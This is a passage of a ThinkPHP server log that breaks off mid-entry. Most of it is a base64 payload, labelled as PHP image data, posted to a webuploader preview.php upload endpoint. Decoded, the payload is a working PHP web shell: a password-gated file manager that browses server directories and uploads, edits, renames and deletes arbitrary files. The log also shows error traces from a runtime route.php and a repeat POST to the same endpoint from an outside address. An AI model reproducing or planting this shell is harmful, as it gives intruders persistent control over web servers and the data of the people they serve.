'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'plugins', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:15+08:00 ] 116.213.36.234 POST 51tianwei.com/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002591s] [吞吐率:385.93req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 